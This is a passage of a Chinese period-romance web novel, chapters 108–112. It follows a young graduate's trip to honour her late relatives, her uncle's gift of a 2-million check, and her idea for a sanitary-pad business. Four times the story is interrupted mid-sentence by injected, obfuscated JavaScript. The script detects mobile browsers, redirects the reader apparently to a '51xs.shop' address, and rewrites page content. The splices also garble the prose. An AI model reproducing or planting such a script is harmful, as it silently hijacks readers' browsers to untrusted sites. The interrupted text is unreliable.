毕业典礼一结束,就意味着符伊年的大学生涯也彻底完结了,她的物品早就在这半年陆陆续续带回了四合院,所以相比宿舍其他人的几个大行李,符伊年只需要把最后的物品收好带走就行。 关于毕业后的工作去向,参考了学生的个人意见,学校进行了分配:马跃和米仙花一个回了东北农场一个回了滇省老家,践行她们要为家乡发展做贡献的初衷。常开心分配到中部的一个省农业厅,刘洋和符伊年留在了京城,一个在去了京市农业局一个去了农林部。 唯一一个于思华,因为参与进了顾麒章的间谍案,先是被拘留了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518699|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 六个月,后来又申请休学,加上之前还有专业课被挂科,延迟毕业了。 毕业季是离别季,大家怀揣着对未来的憧憬和忐忑,踏上各自的征程。 送走了同学们,假期正式到来。或许,说一句最后的假期更合适一点,过了正月十五,两个人就都要去新单位报名了。 不过,在正式开始工作之前,符伊年还有别的事要做。 首先就是陪同柳贺燕、柳旻回安县祭拜叶晗芝。启程前一晚,祝镕终于风尘仆仆地赶了回来。他是上午考最后一科,考完后立即开车回京城——因为没有合适时间的火车了。 看着祝镕疲惫的神情,符伊年十分心疼,把人赶去洗澡后,自己亲自去厨房煮了一锅加了很多料的面:牛肉丸、蟹腿、大虾、火腿、鹌鹑蛋,家里能放进去的几乎都放进去了。 祝镕看到了,不禁“嚯”一声,“如今市场物资这么丰富了,居然有虾蟹卖。” “渤海渔场早就结冰了,去哪给你弄海鲜吃,”容院长坐在沙发上织毛衣,扯了一下毛线球给他解释,“柳家送来的干货。” 祝镕是真的饿了,呼噜噜吃下半碗的面条,略微缓和过来后才点头,“这么说,我又沾了咱们符同志的光了。” 自打符伊年领了毕业证和工作报到证,祝镕就开始喊她“同志”,有时候喊“符同志”,有时候喊“小符同志”。不管哪个,经祝镕嘴里说出来,都一股调侃的意味。 “吃你的吧。”符伊年被他说得有些不好意思,当着容院长的面又不好动手,只能在桌子地下踢一下小腿,“吃完赶紧去休息,一对黑眼圈,当自己国宝呢。” 祝镕挺白,即便在军营里风吹日晒又雨打,皮肤也不见黑,最多就是小麦色。这两年在二炮学院念书,常规训练有,但是到底室内时候多,所以人又白了了回去。这一阵子大概熬夜学习准备考试,又开了七八个小时的长途车,俩黑眼圈挂在下眼睑,十分明显,和大熊猫似的。 祝镕预判了符伊年的动作,反应迅速,先接下了符伊年这一踹,然后换了个方向一绊,绊住了符伊年的小腿,紧接另外一条大腿一抬,就变成了两条腿锁住了符伊年的一条腿。 符伊年:#¥%……*【满脸脏话】 两人自觉一番动作在桌下借着桌布遮挡十分隐蔽,却不知道容院长早就发觉了桌布晃动的异常,她无语了一下,起身回房间了:算了,有什么话明天再问吧,让小年轻打情骂俏去。 进了房间,祝军长正在看报纸,听到动静看向门口,笑了起来,“早就说你不用出去,年年会管的。” 容院长把毛线球和毛衣针放好,掀开被子上床,也笑起来,“我这不是想着有话问嘛。” “又不是大事,明天问也一样。再说,祝镕也未必有心思回话。”祝军长将报纸收起来叠好放到床头柜上,眼镜摘下来压在上面,钻进被窝搂住容院长,“你想想我们年轻时……” 容院长:“老不羞!关灯!” “遵命!” 109. 返乡 第一零九章 祝镕返京的第二天,就开着车带着符伊年去了首都饭店。 柳贺燕父子自从回国就一直住在这里,实在是此时的京城还没有什么商业住宅出售。而且,首都饭店是京城最大最好的饭店之一,装修豪华、设施先进、服务周到,吃住都十分方便,饭店还免费提供出行的车辆。 只是这次他们要走长途,不好再免费使用车辆,就出钱租了几天。 祝镕和符伊年到达的时候,柳家父子也刚好下楼。看到一个年轻男子同符伊年并肩而来,柳贺燕不禁仔细打量起来:个子不低、肩宽腿长、气势不错,待人走近,看到了正脸,又发现五官端正、英气勃勃。 嗯,是个一表人才的年轻人。 祝镕来到柳贺燕跟前同他问好,随着符伊年喊人“表舅”,又说之前在军校内不得出,没有立即来见表舅,请他谅解。 祝镕的表情很诚恳,柳贺燕原本是有一些不悦,现在也已经丝毫不见,哈哈大笑着表示没有关系,“读书是正经事,军队管得严,没有关系,你这不是来了嘛,不错不错。” 双方谈笑了一会儿,眼见时间不早了,符伊年主动打断他们,提醒再不出发到安县就天黑了。于是双方这才停下说话,各自上了车,出了京城往安县开去。 此行一共三辆车,打头的是祝镕这辆,负责领路。符伊年开前半段,祝镕开后半段。后面两辆车分别乘坐着柳贺燕老先生和柳旻,每辆车有两个保镖,到时候也是轮流开。 这几年国家有钱了,江北因为紧邻着京城,得到更多的机遇和发展,首先就是路况更好了,高速公路虽然还全段修完,但是国道和省道也比之前平坦顺利多了。 从出了京城,到进入安县,路上一共用了七个半小时,中途在一个镇子上停下来休整吃的午饭,吃过后重新出发。再出发时,符伊年他们那辆车的司机就换成了祝镕。 这中间发生了一点小插曲。午饭后从镇子上重新出发,结果没开出多远,突然一只鸡从路边“飞”了过来,落在了路中间。 幸亏祝镕反应及时,一脚刹车踩了下去,车子才没撞到这只鸡。倒是符伊年,因为车子没有安全带,人因为惯性向前冲去,额头磕到了。 祝镕来不及管那个冲出来骂他撞到自己的鸡的男人,探身过去扶住符伊年的肩膀,焦急第问她怎么样,“疼了吧?头晕不晕?”可别撞成脑震荡。 符伊年捂着额头坐直,靠到椅背上,“不晕,就是疼。”疼得她声音都哽咽了。 祝镕看她疼得眼里都是泪花,心疼地拥抱她,抬手想揉揉她的额头,又怕碰疼她,一时间不知道怎么办才好,后来想到自己小时候摔倒,容院长都是给他吹一口气,说吹了就不疼了。 于是,祝镕也对着符伊年的额头吹了一口气,哄着她,“吹吹,吹吹就不疼了。” 符伊年抽泣着点头,“嗯”了一声。 因为车子突然急刹,后面两辆车也被迫停下来,柳贺燕见这么久没动静,怕祝镕和符伊年出事,就派了个保镖过来询问。 保镖敲了敲祝镕这一侧的车窗,问过后得知没什么大事,转身去处理那个还在拦在路中间的鸡的主人。 事情其实很简单。随着路况变好,从此处经过的车辆就多了起来,于是“靠山吃山靠水吃水”,那么靠路自然就吃“路”了:当有车过来的时候,把鸡或者狗或者其他小动物扔到前方,通常车子是来不及躲避的,这样就会撞到或者轧到这些动物,当司机下车查看时,这些动物的主人就过来纠缠要赔偿,赔偿金额也不大,一般也就十块二十块的。 因为这条路是两省交界的一条交通要道,很多运输货车都从此处路过,因此一天总能收入个一百多块,运气好两百来块也不成问题。 毕竟也就一二十块的买路钱,出了也就出了,谁都不想惹麻烦。 今天若不是祝镕反应及时立即刹车,估计也要被讹上。 符伊年听说后瞠目结舌,都顾不得额头疼了,甚至想要下车去理论,“这,这不是拦路打劫吗?当地公安机关不管吗?” 祝镕开着车,轻笑了一声。这地方不大,说句不好听的,有人在家放个p,整个村子都能闻到味儿。这么明目张胆地碰瓷讹诈,很难说不是集体作案。 至于派出所,没有证据,祝镕不好说那些不好听的,但是他只一个眼神,符伊年就已经明白了。 “穷山恶水出刁民。”这是后来到达后,一起吃晚饭时,大家谈论起这件事,柳贺燕老先生给出的评价。 符伊年认为这样评价有点过分了,大概和柳老先生出国前的遭遇有关。 “还是应该创造更多的工作岗位才行。自从前年开始,大量知青返城,但是城市的工作岗位又是有限的,这些人工作无着落,才会铤而走险。如果有了一份工作,有了正经收入,就不会走歪门邪道了。” 符伊年说完摸摸自己的额头,上头好大一个包,她委屈地看向祝镕,祝镕也很无奈,“我说给你涂药油,你一怕疼二嫌弃味道,那可不就肿起来了。” “先冰敷一下吧,”柳旻的小儿子调皮经常磕磕碰碰,他比较有经验,喊了服务员问有没有冰块,得知没有后,又问有没有雪糕,“只要是冰的就行。” 过了一会儿,服务员拿了两根冰棍过来。祝镕怕直接冰敷冷到符伊年,又出去买了一条新毛巾,将两块冰棍包住给符伊年冰敷。 饭后,一行人上楼,各自回了各自的房间休息,准备明天去扫墓祭拜故人。 这座酒店其实原本是一间招待所,但是效益不好,早就破败了。后来改革开放,市里也推行了一系列政策,将这间招待所重新装修、改换设施、换掉招牌,成了如今这般模样。 酒店一共五层,一楼是大堂和其他办公室,二楼是餐厅,三楼到五楼是客房。 柳家不差钱,加上此行人多,柳家父子、保镖司机等,这就住满一半了,再加上祝镕和符伊年。这两个没有回化工厂家属院,一方面是因为陪同柳家父子,另一方面是家属院的房子空置太久,一时没法住人的。 休息一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13532793|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚,第二天一行人先去了安县的龙虎山公墓。叶晗芝的墓就在那里。 扫墓的东西早就有人准备好,鲜花果品一一摆放好,买的茅台也开了瓶洒了三杯在地上,等香烛点燃纸钱烧烬,一直在垂泣的柳贺燕甩开司机和保镖的搀扶,跪在了墓前放声大哭起来。 柳旻也跪了下来,一边自己擦眼泪,一边递了手绢给柳贺燕,劝他不要太难过,要保重身体。 符伊年在一旁看着,既没有阻拦,也没有说话,直到五分钟过去,她才上前一步,弯下腰用力将柳贺燕扶起来,“表舅荣归故里,外婆在天有灵会很欣慰的,您不要难过了。” 因为年纪大又跪了一会儿,柳贺燕起身的时候踉跄了一步,柳旻拉了一把才没有摔倒。站直后,柳贺燕用手帕擦了一把脸和手,转头看向符伊年,“你父母的墓在哪里?” “在老家,”符伊年见柳旻扶住了,便顺势松手,“当时我浑浑噩噩的,丧事都是老家老人和组织办理的,等我想明白已经来不及了。” 柳贺燕点头表示了解,“那现在过去吧。” “现在吗?”符伊年看了看时间,因为酒店条件其实一般,柳贺燕没休息好,他们出门的时候都已经将近十点,而公墓离市区又很远,现在时间已经快十二点了。 “可能太晚了,开车过去要两个小时,现在路况好估计也要一个小时多,”符伊年解释了一下,“而且本地习俗是午后不扫墓,不吉利。” 入乡随俗,柳贺燕没有坚持。临近中午,一行人先去用饭,然后回酒店休息。分别回房间之前,柳贺燕提出下午想去化工厂家属院的房子看看,毕竟是唐致清生前居住的地方,也是符伊年以前的住所。 符伊年也想了想,答应下来,反正她要回去看看,虽然家里的大部分物品早就被符伊年搬去四合院了,但终归曾经是她的家。 三辆车开进化工厂家属院,立即引起了家属院居民的注意,很多人或者在楼上观察,或者下楼围观,都十分好奇:是什么人这么豪横,一下子开了三辆车回来。 等看到从车上下来的符伊年,可以说是既意外又不意外。 家属院里的众人几乎都知道,符工程师的女儿符伊年考去了京城,还谈了一个京城的军官对象,以后肯定就在京城定居了。 这样的条件,有车很正常。 但是众人意外的是,这次居然是三辆车,然后就发现,后面两辆车里分别下来一老一少两位先生,都很时髦很洋气,像是归国华侨似的。 有熟悉符伊年的人扬声同她打招呼,“年年回来了!小祝也来了啊,”接着不等符伊年答话就将目光看向柳氏父子,“这两位是谁啊,没见过。” 符伊年心说:别说你没见过,我也是两个月前才见到的。 “是我表舅,我妈那头的亲戚,归国华侨。”符伊年没有隐瞒,实话实说,“这不开放了吗,就回国投资了。” “唐老师国外的亲戚回国投资”这个消息,在几分钟后传遍了化工厂家属院,传进了化工厂厂长的耳朵里。 110. 支票 第一一零章 符伊年带着柳贺燕等人回化工厂家属院的房子,因为他说想看看唐致清生前生活的地方。虽然符伊年觉得这个要求有点起卦,还是带着人过去了。 结果到了家属院不久,化工厂的厂长就过来了,说是听说符伊年回来了,过来慰问。 可是只要长了眼睛的都看到了,厂长更多的时候是在与柳老先生和柳先生寒暄,和符伊年说的话总共不超过五句,和祝镕说得都比和她说得多。 符伊年在心中撇嘴,心说如此本末倒置,厂长的心愿怕是要落空。 果然,说到最后,得知恩慈集团在化工方面没有涉略也没有投资打算的时候,厂长的脸上流露出失望的神情,但是热情倒是没有减弱,直到半小时过去,厂长才离开,离开前又说了很多客气话,什么欢迎回国之类的。 送走厂长,符伊年等人也没有多停留,毕竟这房子太久没人居住,而且很多家具设施都搬走了,只是简单地打扫通风,不适合人长久待在里面,更何况因为不住人,脸水都没法烧,他们喝得都是买的水。 临走前,符伊年又检查了一遍屋子,将一些上次没来得及带走的小物品装起来,打算这一次带走。这次离开后,符伊年觉得自己以后大概很久都不会回来了。 第二天,一行人开车回老家给符志宏和唐致清扫墓。 其实,三辆小汽车同行即便在京城也是很引人瞩目的,更何况安县这样的小县城,也更别说比县城还落后一些的农村。 所以,有更多的群众来围观,有些小孩子甚至跟着小汽车后面跑,只是想多看一会儿而已。直到他们发现车子驶进了自己的村子,追逐的脚步才会慢下来。 本来柳老先生还想拜会符伊年的五叔爷爷,毕竟也算是亲戚,只是很不巧,全家都不在,据说是七婶儿的父亲八十大寿,去拜寿了。 于是一行人先上山去扫墓。 “上山的路比较难走,天冷,山上风又大,”符伊年提出建议,“表舅就不去了吧?让表哥替您转达心意就好了。” 毕竟是有了春秋的人,万一摔了或者冻到,都挺麻烦的,现在的医疗条件还是没那么发达的。 柳旻也想到了这个问题,只是他自己不方便主动当着大家面提出来,私下提出的时候又被父亲给拒绝了。现在符伊年主动提出,他很是松了一口气,希望他老人家会给表妹一个面子吧。 柳贺燕一开始确实不同意,符伊年连撒娇带耍赖、威胁,一会儿说他们这些晚辈都是关心他,一会儿说他不同意他们也不去,一会儿又说若是他真的摔到或者冻到她心里会有负罪感。 总之,最后柳老先生到底是没有拗过她,同意由保镖贺司机陪同,留在了车里。 其他纷纷松了一口气,带好东西一起往山上去。 其实上山的路并没有那么难走,因为这一片山坡很多坟墓,村民们修了一条上山的道路。只是的确如符伊年所说,山上风很大,本来就是冬天,风呼呼的吹就更冷了,而且树木叶子早就落光了,光秃秃的树枝在寒风中摇动,更增加了清冷感。 才走了十几步,柳旻就接连打了好几个喷嚏,不禁在心里后悔没有听符伊年的劝说穿羽绒服来,而是穿了一件看起来十分时髦但是十分冻人的羊绒大衣。 符伊年看了,嘿嘿笑了两声,“不听,额,妹子言,吃亏在眼前。”她篡改了一下俗语。 柳旻想说什么,结果又一个喷嚏打断了他的话。 祝镕倒是看不过去了,拍拍符伊年的头,告诉她不要幸灾乐祸,然后转头看向柳旻,“年年顽皮,表哥大人大量不要在意。” 柳旻比祝镕大了一岁多,倒也担得起他这一声“表哥”。只是祝镕这话听起来像是在责怪符伊年调皮,其实更多是在维护,仿佛柳旻要是不高兴了就是“小人”了。 柳旻本身就没有不高兴,现在更是什么话都不会说,只能伸出一只手点了点这两个人,“你也很调皮。”这就是在说祝镕了。 山路虽然陡,但是因为有村民修的台阶,走得还算容易,几分钟后到达半山腰的坟地。符志宏夫妻二人的坟墓就在这十多个坟墓中,位置相对在下,上面埋着符家的几位先人。 鲜花酒品、香烛纸钱,东西不少,但是没有让保镖帮忙,全是三人自己提上来的。将所有的东西摆放好,香烛点燃,纸钱烧完,将带来的酒浇在灰烬上,既是祭拜也是避免有火星没灭完。 “爸爸妈妈,这是柳旻表哥,表舅柳贺燕的儿子。因为改革开放的政策,表舅从国外回来探亲,昨天我们去看了外婆,今天来看你们,不过天太冷了,表舅没有上山,让表哥代替他来探望你们。” 符伊年蹲在墓前,将祭品来来回回的摆放、整理,口中念念叨叨,“我和祝镕要登记结婚了,过完年我就要去工作单位报道了,我会好好工作、好好生活的。” 其实符伊年还有很多话要说,只是当着柳旻和祝镕的面不好说,只好在心底默默地同他们诉说。 身旁的祝镕却误会了,以为她太难过太怀念,怕开口泄露了哽咽,便也蹲下来握住她的手,一起看向墓碑,“叔叔阿姨,你们请放心,我和年年以后会相爱相扶,并肩向前。” 柳旻站在一旁,略有尴尬,心说你们非要当我面来这一套吗? 重新回到山下时,柳老先生从小轿车里下来,发现符伊年的眼睛通红通红的,其他两个人倒是没什么异常,不禁拍了拍符伊年的肩,“一切朝前看吧。” 符伊年想了一下才明白他此举的涵义——大概时因为自己太背上哭到眼睛通红。 这可真是一个美好的误会的。其实是因为最后要离开的时候,突然一阵风吹来,卷起刚刚没完全打湿的灰烬,迷了符伊年的眼,她揉了揉,结果用力用大了,就揉红了。 从杨树庄离开回到安县,一行人决定休息一晚第二天再启程回京城。 本来以为这次行程到此就算完结了,只待明日返京。但是没想到晚饭后柳旻过来敲门喊符伊年过去柳贺燕那里,说是有事情要交待。 “只喊了我?”符伊年问。 柳旻笑起来,“傻丫头,你还没结婚呢。” 懂了,那就是只有自己,没打算喊祝镕。符伊年看了看隔壁的房门,点点头,“那等我穿件外套。”客房有暖气,所以她只穿了件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13545837|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毛衣。 过了半分钟,符伊年重新出来,跟着柳旻去了柳贺燕房间。房间里除了柳老先生,还有那个年轻的出口不逊的年轻人和一个公司高层样子的中年人。 柳旻介绍说,这位是恩慈集团的律师,姓吕之前在国外i处理事情,昨天到国内,今天到的安县。 待符伊年在沙发上坐下,吕律师从公文包里掏出一沓文件放在她目前。 符伊年疑惑地看看几人,“这是什么意思?” 柳贺燕大概是累了,坐在单人沙发里闭目养神,闻言睁开眼,“我当初出国,你外婆提供了很大的支持,后来建立恩慈集团的也是靠你外婆给的物件典当了才有的初始资金,才慢慢做大最强的,这是恩慈集团2%的股份,你外婆只有你一个后人了,那就给你吧。” 符伊年:???!!! 她想到祝军长调查到的事情,连忙摆手,“不不不,无功不受禄,当初外婆是因为关爱您才有那样的举止,后来建立公司、做大做强都是您的辛勤付出,跟我没关系的。” 恩慈集团到底有多少钱符伊年并不清楚,也许是几个亿也许是几十亿,无论多少都和她没有关系的。只要她敢在这股份转让协议上签字,上一秒签字,下一秒就能被押去联姻。 绝对不行! 柳贺燕坚持,柳旻也劝说,符伊年坚决不同意,问就是外婆只是对晚辈的关爱没指望回报,再劝,符伊年就说:“我怕外婆掀开棺材板来骂我。” 柳老先生见此,叹气,冲柳旻等人摆手,表示这件事作罢。吕律师将股转让协议收起来,拿了另外一份文件出来。 符伊年看到那是一张农业银行的支票,上面收款人写的是她的名字,存折金额打头是2,后面有一二三……六个零!那岂不是两百万! “无论怎么说,我能有如今的成就,是离不开表姑的支持与帮助的,表姑不在了,没想到你妈妈也英年早逝,全家只有你一个后人,我自然要关照你。” 柳老先生喝了一口茶,缓了缓,“这笔钱不多,和方才那些没法比,但也足够你衣食无忧的生活一辈子。” 说到这里,见符伊年又想推辞,柳贺燕板起脸来,“这些不仅是给你的,还有孝敬表姑和给你妈妈的,只是他们都不在了,传到了你这里罢了。” 符伊年:可我不是真正的外孙女和女儿啊! 当然这话是无论如何不能说出来的,说出来,能不能走出这道门恐怕都不好说。 见符伊年沉默下来不再反驳,柳先生表情好看了不少,“收下吧,之前的生意我听你表哥说过了,虽然生意小,但是前景广大。听说你有更大更远的抱负,也是大有可为的,这些就当作你施展抱负的根基吧。” 说完这些,柳贺燕重新靠回沙发,闭目养神了。 柳旻给符伊年打了个手势,带着她出了房间,来到走廊,柳旻将那张支票塞进她羽绒服口袋,拍拍她的手臂,“别有负担,收下吧,不会有事的。” 符伊年沉默地点点头,转身回了房间。坐在沙发上,符伊年盯着这张支票,想了想,起身去找祝镕,门一拉开,恰好看到祝镕站在门外,“好巧。” 111. 两百万 第一一一章合作 符伊年正想要去找祝镕,发现祝镕过来了,她侧开身让人进来,“你怎么过来了?” 祝镕奇怪地看她,自从两人确定关系以来,她几乎不再跟他说这句或者类似这句的话。今天这是怎么了? 祝镕其实之前来过一次了,敲了门等了很久不见有人开,他又回去的,等了一会儿听到隔壁有动静了才又过来的,“我回来洗了个澡,然后过来敲门你不在。” “哦。”符伊年坐回沙发里,低低地应了一声,拍拍身边的位子,示意祝镕过来坐。 祝镕走过来坐下,正想问她怎么了,眼睛就看到了放在茶几上的那张支票,方方正正平平整整,一点折痕都没有,收款人是符伊年,金额是,两百万。 相比当初符伊年一张普通方子卖了十五万的震惊,对于“两百万”这个数字,祝镕竟然觉得还挺平常的,毕竟恩慈集团经过了三十来年的发展,又是在漂亮国这样的资本主义国家发展壮大的,这点钱不算多。 祝镕盯着这张支票,一时不知道要说些什么好,于是他转头看向符伊年,正好符伊年也看过来,两人眼睛一对视,其实都明白了对方的意思。 符伊年长叹一声“唉”,然后身子一歪,直接躺倒在祝镕的大腿上,“钱帛动人心啊。” “嗯?”祝镕一挑眉毛,“怎么?您打算踢了我琵琶别抱了?” “那不能。”符伊年果断地否认,“我还等着住将军楼呢。可是好多钱啊,好心动哎,我可是拒绝了2%的股份呢!” 这次祝镕是真惊到了,直接爆了个粗口出来。2%的股份哪,虽然他不知道恩慈集团到底有多少钱,不过十几二十亿总归是有的吧,2%就是几千万啊,几千万啊! 相比之下,两百万的支票好像都很平常了。 “傻了吧?”符伊年抬手摸摸祝镕的下颌,他好像刮胡子了,很顺滑嘛。 祝镕握住符伊年不老实的手,诚实地点头,“是有点,我一年也就几千块,不吃不喝一万年才能赚到这么多。” “不是这么比的。”符伊年笑了一声,接着又是叹气。 祝镕看她愁容满面,不禁好奇起来,“到底怎么回事啊,一会儿2%的股份一会儿两百万的支票,你跟我详细说说?” 符伊年这才想起来,祝镕还不知道经过,于是就把之前的事讲给他听,末了自己总结,“总觉得那2%的股份就是我的卖身钱,一旦签了字,我就被押着去联姻了。” 祝镕觉得虽然根据之前的情报和调查,看起来确实是有这种可能。不过祝镕觉得,也许柳老先生并没有那么不近人情,“可能表舅最开始准备的就是这两百万的支票,那个股份就是个幌子,他知道你肯定不会要的,以退为进。” 符伊年听了祝镕的解释,眨眨眼,“你是怕我伤心,故意说好听的吧?” 祝镕笑笑,没有承认,也没有否认,“无论是哪个,你现在要决定的是,是否收下这两百万。” “收下啊。”符伊年磕绊都没有一下,果断地回答,“人家都那样说了,不收就太不识抬举了,况且,钱又不咬手。” 祝镕露出一个恍然大悟的表情,点点头,“既然这样,那是不是可以暂时放下这件事,我们来做点别的?” “做什么?”符伊年还没反应过来,就感觉到自己被人抱了起来,她大笑了起来,行吧,良宵苦短,还是和有情人做快乐事更开心些。 从安县回到京城,符伊年和祝镕又亲自把柳家父子送回首都饭店安顿好,这才回去四合院。 四合院大门紧闭,铁将军把门——家里没人。 符伊年在随身的挎包里找了找,没找到钥匙,她缓缓转头看向祝镕,祝镕迅速领会她的意思。 只见祝镕退后两步,左右看看,选定一个位置,助跑三步轻轻一跃,甚至没有在墙面上留下脚印,双手按在墙头,双腿腾空,就跳进了院子里。 符伊年:???我是问你有没有带钥匙,不是让你翻墙!这么想着,符伊年就将目光落在自家的围墙上,两米好像有点矮?改天要不要再垒高点? 正想着,祝镕从底下门缝里递了把钥匙出来,是他从屋里找出来的。符伊年弯腰把钥匙捡起来开锁进院子。 可能时间久了,两个人之间有一种默契,符伊年刚想到的事情,祝镕也想到了,她才一进院子,祝镕就拉着她指着院墙,说:“你这围墙,是不是应该加高点?或者上面加一层玻璃碴?防盗。” 符伊年想了想,“玻璃碴吧,都两米了再高就比房子高了,再说多高都能搭梯子。”说完又嘀咕,“也不知道什么时候才能有监控报警。” 祝镕耳朵尖,听见了她的嘀咕,不知道她是在自言自语,以为是在同他抱怨,笑着安抚她快了,“已经普遍军用了,有些重要单位也用上了,大概再过些年报警器就能民用了。” 至于视频监控,以后也会慢慢推广开的。 临近春节,祝军长要下连队走基层,已经有段日子不回家了,几乎都是住在连队。而容院长的实验之前出了喜人的结果,开始正式临床应用,门诊也轻松了不少,毕竟临近过年了,很多华国人除非大病急病,是不爱在过年的时候去医院的。 所以这一段时间容院长经常可以按时上下班。这个晚上,容院长回来宣布了一个消息:医院组织医药下乡,她自荐带队,明天出发。 符伊年和祝镕听到这个消息都愣住了,“怎么大冬天的下乡?” 容院长乐了,“冬天就不生病啦?每年都有这个活动,只是以往我去的时候你们不在家而已。” “医药下乡”除了义诊、免费赠药,还要培训农村卫生人员,所以后来统称为“卫生下乡”,和文化、科技一起,称为“三下乡”。通过这项活动,引导农民解放思想,更新农民观念,提高农民身体素质和文化素质,增强他们的致富能力。是发展经济、建设小康和扶贫攻坚的重要举措之一。 符伊年对“三下乡”早有耳闻,只是没想到居然这么早。这是好事,是农民可以直接受益的活动,尤其后来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555573|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 科技下乡和文化下乡,既可以提高农民的身体、文化素质,也能推动农村生产力的发展,形成“星星之火可以燎原”的势态。 毕竟,华国农村人口占了约七成,尤其此时大多数农民还没有成为农民工。 符伊年想着,心思一动,“我也想去。” 容院长是不反对,甚至非常欢迎,但是祝镕就不是很乐意了,过了一会儿,他说,“你不是还想把那两百万拿出来和柳旻进行合作吗?我觉得尽快去谈比较好,不然他回了漂亮国,就不好说了。” 容院长看了自己儿子一眼,心中大笑,这小子心里的小九九怎么那么多。不过还是顺着他的话往下问:“什么两百万?钱吗?怎么那么多啊?” 于是祝镕就把符伊年之前同他讲的事情与容院长说了一遍,讲得绘声绘色的,符伊年在一旁听着忍不住撇嘴,心说不知道的还以为你当时在现场呢。 “后来关于这两百万的处置,年年和我商量,退是没法退的,退就等于不认这门亲了,那之前做的一切就白费了。” 容院长点头,“是这个道理,退回去就太不尽人情了。那你们后来怎么商议的?” 因为那天晚上俩人忙着做快乐的事,根本没一时间讨论这件事,是后来第二天返京的路上简单地谈论了一下。 当然,这个就不用详细说给容院长听了。 “我想着,既然不能直接还回去,那就换另外一种方法,”符伊年接着说,“我想着,拉柳旻表哥一起,一起开个工厂或者公司,既能把钱还回去,说不定还能钱生钱。” 容院长仔细琢磨了一番这个想法,觉得不错,不过,“那你想开个什么公司或者工厂呢?一定得赚钱才行,不然就不是还钱、钱生钱了,就变成了骗钱了。” 当时祝镕也是这样问符伊年的,符伊年其实也没想好,于是就问祝镕有什么想法没有。祝镕想说他想法多着呢,可惜都不是两百万能达成的。 “既然要能钱生钱,那就应该是长久需要的商品。”祝镕斟酌着说,“以你自己为例子,你觉得你以后长久需要的物品是什么?” 符伊年果断反对,“我一个人,不具有参考性吧。” 而祝镕的看法却恰恰相反,理由也很充分:符伊年是女性,思维更细腻,还是高级知识分子,眼界更宽阔,又是学经济的,有着专业的视角。在她看来,什么样的物品,或者说商品在十几年甚至几十年之后,依然被需要,而且会越来越成为刚需。 刚需物品,其实不过就是几样,衣食住行。服装吗?好像也可以,以后人们有钱了,会越来越爱时尚的。食?开饭店?做小吃?民以食为天,也不错。住,那日后发展最大的就是房地产了,不过如今还不行,住房改革还没开始,再说两百万而已,不够看的,这个就算了。行,开个运输公司?也是条门路,就是风险有点大,交通事故不可控啊。 符伊年想了一路都没想好,最后祝镕给了她一个指点:贴近日常生活。 然后符伊年就想到了,女性卫生用品! 112. 女性 第一一二章 女性在14岁-16期间进入性成熟阶段,最明显的特征就是月经来潮。有人曾经算过,以14岁初潮55岁绝经为普遍标准的话,除掉孕期,一个女性一生大概要有四十年的月经期。四十年,就是480个月。 符伊年在心中默算,每个人的情况不同,有人经期时间短有人经期时间久,有人量大有人量小,如果时间按平均5天算,用量按一天6片算,那一个月就要30片,480个月就要14400片,约等于一万五千片。 1.5万!符伊年自己都被这个数字震惊了。她真的从来没有想过,这个东西居然用量会这么大。 现在是八十年代初,符伊年春节后将进入部委工作,因为是大学生,所以行政级别稍高,是二十三级,工资是49块5,而上个月她去百货大楼囤货时,卫生巾涨价了,现在一片卫生巾要三毛钱了,一个月30片就要9块钱,占了一个月工资的五分之一了。 符伊年突然感觉自己的钱包紧张了起来:我好像也不是很有钱啊。 实话实说,这个价格是真的不低了,要知道这个时期普通工人月工资才三十几,而且即便是城镇里,妇女们依然有很多没有工作没有收入。就更别提农村了。 根据符伊年的记忆,华国第一家卫生巾厂家这就是这两年就要问世了,可是销量并不好,也十多年都没能推广开。这里头除了有经济原因——国民恩格尔系数仍然很高;还有一个很重要的缘故——观念落后。 